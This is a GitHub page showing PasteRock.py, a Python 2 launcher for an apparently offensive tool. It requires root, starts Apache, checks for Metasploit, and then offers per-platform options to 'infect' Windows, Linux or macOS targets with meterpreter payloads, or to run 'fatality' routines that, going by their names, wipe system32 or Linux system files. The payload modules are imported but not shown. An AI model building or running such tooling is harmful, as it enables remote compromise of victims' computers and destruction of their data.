-
Notifications
You must be signed in to change notification settings - Fork 7
/
PasteRock.py
70 lines (66 loc) · 2.54 KB
/
PasteRock.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#-*- coding: utf-8 -*-
#Autor: Andrés Montoya (SpyRock)
#No me hago responsable del mal uso que este se le pueda dar.
#!/usr/bin/python
import os
import sys
from linux import *
from osx import *
from windows import *
from colores import *
from banner import *
if not os.geteuid() == 0:
sys.exit("""\033[1;91m\n[!] PasteRock necesita permisos de root. ¯\_(ツ)_/¯\n\033[1;m""")
else:
os.system("clear")
print bcolors.BOLD+banners()
print bcolors.payload+"Visita "+bcolors.apache+"--->"+bcolors.payload+" http://spyrockos.aegae.com/"
print bcolors.payload+"Youtube " +bcolors.apache+"--->"+bcolors.payload+" https://www.youtube.com/c/SpyRockLinux"
print bcolors.payload+"Twitter " +bcolors.apache+"--->"+bcolors.payload+" https://twitter.com/AndrsMontoya17\n"
if os.path.exists("/usr/bin/pasterock"):
pass
else:
sys.exit(bcolors.FAIL+"["+bcolors.WARNING+"*"+bcolors.FAIL+"]"+bcolors.payload+"Por favor instale PasteRock!")
if os.path.exists("/var/www/html/"):
print bcolors.WARNING+"["+bcolors.FAIL+"♬"+bcolors.WARNING+"]"+bcolors.payload+"Iniciando Apache2...!\n"
os.system("service apache2 start")
else:
sys.exit(bcolors.FAIL+"["+bcolors.WARNING+"*"+bcolors.FAIL+"]"+bcolors.payload+"Por favor instale PasteRock!")
if os.path.exists("/opt/metasploit-framework"):
pass
elif os.path.exists("/usr/share/metasploit-framework"):
pass
else:
sys.exit(bcolors.FAIL+"["+bcolors.WARNING+"*"+bcolors.FAIL+"]"+bcolors.payload+"Por favor instale PasteRock!")
print bcolors.payload+"["+bcolors.apache+"1"+bcolors.payload+"]"+bcolors.WARNING+"Windows"
print bcolors.payload+"["+bcolors.apache+"2"+bcolors.payload+"]"+bcolors.WARNING+"Linux"
print bcolors.payload+"["+bcolors.apache+"3"+bcolors.payload+"]"+bcolors.WARNING+"Mac OSX"
print bcolors.payload+"\n["+bcolors.apache+"99"+bcolors.payload+"]"+bcolors.WARNING+"Salir\n"
plataforma=raw_input(bcolors.WARNING+"Paste" + bcolors.OKBLUE + "Rock"+ "\033[91m" +": "+"\033[1m")
if (plataforma == "1"):
g=raw_input("\033[1m"+"eliga (meterpreter/fatality) ")
if g == "meterpreter":
g=windows()
g.windowsinfect()
elif g == "fatality":
g=windowsrm()
g.system32()
else:
sys.exit("Error")
elif (plataforma == "2"):
f=raw_input("\033[1m"+"eliga (meterpreter/fatality) ")
if f == "meterpreter":
f=linux()
f.linuxinfect()
elif f == "fatality":
f=LinuxDelete()
f.linuxrm()
else:
sys.exit("Error")
elif (plataforma == "3"):
e=osx()
e.osxinfect()
elif (plataforma == "salir" or plataforma=="exit" or plataforma=="99"):
sys.exit()
else:
sys.exit(bcolors.FAIL("\nError.\n"))